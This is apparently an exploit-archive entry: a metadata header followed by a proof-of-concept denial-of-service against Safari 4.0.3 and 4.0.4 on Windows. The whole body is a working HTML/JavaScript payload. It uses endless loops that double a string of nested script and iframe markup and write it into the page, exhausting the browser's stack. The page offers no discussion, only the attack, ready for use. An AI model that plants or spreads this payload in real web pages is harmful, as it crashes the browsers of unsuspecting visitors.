Apple Safari 4.0.3/4.0.4 - Stack Exhaustion

Author: Fredrik Nordberg Almroth
type: dos
platform: windows
port: 
date_added: 2010-04-27 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

<script>
//Written by: Fredrik Nordberg Almroth
//URL: http://h.ackack.net/
//Affected: Safari 4.0.3 & 4.0.4 - Other versions might be vulnerable aswell.
  a="<script>var b=\"<iframe src='javascript:window.location=\"boom\"'></iframe>\";while(1){b=b+b;document.write(b);}</scr"+"ipt>";
  while(1){
    a=a+a;
    document.write(a);
  }
</script>